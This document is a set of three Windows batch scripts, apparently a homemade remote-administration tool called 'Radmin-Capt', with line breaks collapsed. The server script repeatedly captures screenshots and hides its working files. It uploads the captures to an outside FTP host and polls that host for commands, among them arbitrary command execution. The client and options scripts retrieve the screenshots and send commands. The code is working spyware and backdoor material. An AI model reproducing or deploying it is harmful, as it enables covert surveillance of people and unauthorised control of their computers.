@echo offtitle *- Radmin-Capt Server -* By FaySorset "dirc=%~dp0"set "pausa=60000"echo Usuario>"%temp%\sDtsS.inf"echo Contraseña>>"%temp%\sDtsS.inf"echo binary>>"%temp%\sDtsS.inf"echo get htdocs/time.txt "%temp%\time.ext">>"%temp%\sDtsS.inf"echo get htdocs/exit.txt "%temp%\exit.ext">>"%temp%\sDtsS.inf"echo put "%temp%\sPhoto.jpg" htdocs/sPhoto.jpg>>"%temp%\sDtsS.inf"echo bye>>"%temp%\sDtsS.inf"echo.:bucle"%dirc%nircmd.exe" savescreenshot "%temp%\sPhoto.jpg"ftp.exe -s:"%temp%\sDtsS.inf" Ftp.ServidorIf Exist "%temp%\time.ext" (FOR /F "tokens=1 usebackq" %%a IN ("%temp%\time.ext") DO (set "pausa=%%a"))attrib +h +s "%temp%\sDtsS.inf"attrib +h +s "%temp%\sPhoto.jpg"attrib +h +s "%temp%\time.ext"attrib +h +s "%temp%\exit.ext"FOR /F "tokens=1,2* usebackq" %%a IN ("%temp%\exit.ext") DO ( If /i ["%%a"]==["cmd"] ("%dirc%nircmd.exe" execmd %%b %%c) If /i ["%%a"]==["exit"] (del /f /q /a:hs "%temp%\sDtsS.inf" "%temp%\sPhoto.jpg" "%temp%\time.ext" "%temp%\exit.ext"&exit) If /i ["%%a"]==["pause"] ("%dirc%nircmd.exe" wait %%b) If /i ["%%a"]==["msg"] ( echo Option Explicit>"%temp%\MsgFyS.vbs" echo Dim ObjFl>>"%temp%\MsgFyS.vbs" echo Set ObjFl = CreateObject^("scripting.filesystemobject"^)>>"%temp%\MsgFyS.vbs" echo MsgBox "%%b %%c", 64, "Msg FaySor ...!">>"%temp%\MsgFyS.vbs" echo ObjFl.DeleteFile^("%temp%\MsgFyS.vbs"^)>>"%temp%\MsgFyS.vbs" echo Set ObjFl = Nothing>>"%temp%\MsgFyS.vbs" ))"%dirc%nircmd.exe" wait %pausa%goto :bucle
@echo offtitle *- Radmin-Capt Cliente -* By FaySorecho Usuario>"%temp%\sDts.ini"echo Contraseña>>"%temp%\sDts.ini"echo binary>>"%temp%\sDts.ini"echo get htdocs/sPhoto.jpg C:\sPhoto.jpg>>"%temp%\sDts.ini"echo bye>>"%temp%\sDts.ini"If Exist "C:\sPhoto.jpg" (start /MAX C:\sPhoto.jpg):bucleftp.exe -s:"%temp%\sDts.ini" Ftp.Servidornircmd.exe wait 20000goto :bucle
@echo offcolor 2title *- Radmin-Capt Opciones -* By FaySorecho.echo *- Radmin-Capt Opciones -* By FaySorecho.echo Datos :echo.:Userset /p "User= Usuario: "if not defined User (echo.&echo Indicar Datos ..!&echo.&goto :User)echo.:Passset /p "Pass= Contrase¤a: "if not defined Pass (echo.&echo Indicar Datos ..!&echo.&goto :Pass)echo.:ftpset /p "ftp= Servidor FTP: "if not defined ftp (echo.&echo Indicar Datos ..!&echo.&goto :ftp)echo.echo Listo Datos Completos ..!echo.pause:menuclsecho.echo *- Radmin-Capt Opciones -* By FaySorecho.echo.echo 1- [ Pausa ]echo 2- [ Mensaje ]echo 3- [ Consola ]echo 4- [ Cerrar Radmin-Capt Server ]echo 5- [ Intervalo de Captura ]echo 6- [ Salir ]echo.echo.set /p "opc= Opciones: "if not defined opc (goto :menu)If ["%opc%"]==["1"] (goto :1)If ["%opc%"]==["2"] (goto :2)If ["%opc%"]==["3"] (goto :3)If ["%opc%"]==["4"] (goto :4)If ["%opc%"]==["5"] (goto :5)If ["%opc%"]==["6"] (exit)goto :menu:1Call :MKProcessecho.set /p "pau= Indicar Pausa : "if not defined pau (goto :1)echo pause %pau%>"%temp%\exit.ext"ftp.exe -s:"%temp%\sDifClt.inf" %ftp%nircmd.exe wait 10000set "fls=exit.txt"Call :DeleteFilsftp.exe -s:"%temp%\sDifClt.inf" %ftp%echo.echo Listo Orden Completada ..!echo.pausegoto :menu:2Call :MKProcessecho.set /p "sms= Indicar Mensaje : "if not defined sms (goto :2)echo msg %sms%>"%temp%\exit.ext"ftp.exe -s:"%temp%\sDifClt.inf" %ftp%nircmd.exe wait 10000set "fls=exit.txt"Call :DeleteFilsftp.exe -s:"%temp%\sDifClt.inf" %ftp%echo.echo Listo Orden Completada ..!echo.pausegoto :menu:3Call :MKProcessecho.set /p "conlosa= Indicar Mensaje : "if not defined conlosa (goto :3)echo cmd %conlosa%>"%temp%\exit.ext"ftp.exe -s:"%temp%\sDifClt.inf" %ftp%nircmd.exe wait 10000set "fls=exit.txt"Call :DeleteFilsftp.exe -s:"%temp%\sDifClt.inf" %ftp%echo.echo Listo Orden Completada ..!echo.pausegoto :menu:4Call :MKProcessecho exit>"%temp%\exit.ext"ftp.exe -s:"%temp%\sDifClt.inf" %ftp%nircmd.exe wait 10000set "fls=exit.txt"Call :DeleteFilsftp.exe -s:"%temp%\sDifClt.inf" %ftp%echo.echo Listo Orden Completada ..!echo.pausegoto :menu:5echo.set /p "capt= Indicar Intervalo de Captura : "if not defined capt (goto :5)echo %User%>"%temp%\sDifClt.inf"echo %Pass%>>"%temp%\sDifClt.inf"echo binary>>"%temp%\sDifClt.inf"echo put "%temp%\time.ext" htdocs/time.txt>>"%temp%\sDifClt.inf"echo bye>>"%temp%\sDifClt.inf"echo %capt%>"%temp%\time.ext"ftp.exe -s:"%temp%\sDifClt.inf" %ftp%nircmd.exe wait 10000set "fls=time.txt"Call :DeleteFilsftp.exe -s:"%temp%\sDifClt.inf" %ftp%echo.echo Listo Orden Completada ..!echo.pausegoto :menu:MKProcessecho %User%>"%temp%\sDifClt.inf"echo %Pass%>>"%temp%\sDifClt.inf"echo binary>>"%temp%\sDifClt.inf"echo put "%temp%\exit.ext" htdocs/exit.txt>>"%temp%\sDifClt.inf"echo bye>>"%temp%\sDifClt.inf"goto :eof:DeleteFilsecho %User%>"%temp%\sDifClt.inf"echo %Pass%>>"%temp%\sDifClt.inf"echo delete htdocs/%fls%>>"%temp%\sDifClt.inf"echo bye>>"%temp%\sDifClt.inf"goto :eof